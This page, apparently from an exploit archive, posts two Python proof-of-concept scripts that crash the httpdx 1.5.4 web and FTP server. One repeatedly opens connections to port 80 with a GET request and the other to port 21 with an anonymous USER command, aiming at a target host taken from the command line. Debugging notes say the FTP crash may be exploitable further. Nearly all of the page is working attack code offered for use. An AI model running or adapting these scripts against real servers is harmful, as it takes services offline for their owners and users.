Httpdx 1.5.4 Multiple (http-ftp) PoC
Posted on 18 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Httpdx 1.5.4 Multiple (http-ftp) PoC</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================== Httpdx 1.5.4 Multiple (http-ftp) PoC ==================================== #!/usr/bin/env python ########################################################################### # # Title: httpdx v1.5.4 Remote HTTP Server DoS (0day) # By: Dr_IDE # Tested: XPSP3 # Download: http://httpdx.sourceforge.net # Note: Server will totally crash if only running the EXE # Note: Get a "ffs what happened?" message if running via BAT # ############################################################################ # # Debugging Notes: This may not be exploitable as it dumps on a read operation. # Upon crash throws: Access violation when reading [00001238] # ############################################################################ import socket, sys payload = ("GET / HTTP/1.1 "); x=1; try: while (x < 2048): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print ("[*] Connecting to httpdx server."); s.connect((sys.argv[1], 80)); print (" [*] Sending command. "); s.send(payload); s.close(); x = x+1; except: print ("[*] Success! We crashed the server in %d attempts." % x); print ("[i] [pocoftheday.blogspot.com]"); ===================================================================================== #!/usr/bin/env python ########################################################################### # # Title: httpdx v1.5.4 Remote FTP Server DoS (0day) # By: Dr_IDE # Tested: XPSP3 # Download: http://httpdx.sourceforge.net # Note: Server will totally crash if only running the EXE # Note: Get a "ffs what happened?" message if running via BAT # ############################################################################ # # Debugging Notes: This may be exploitable as it dumps on a write operation. # Upon crash throws: Access violation when writing to [00230000] # ############################################################################ import socket, sys payload = ("USER anonymous "); x=1; try: while (x < 2048): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print ("[*] Connecting to httpdx server."); s.connect((sys.argv[1], 21)); print (" [*] Sending command. "); s.send(payload); s.close(); x = x+1; except: print ("[*] Success! We crashed the server in %d attempts." % x); print ("[i] [pocoftheday.blogspot.com]"); # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-18]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>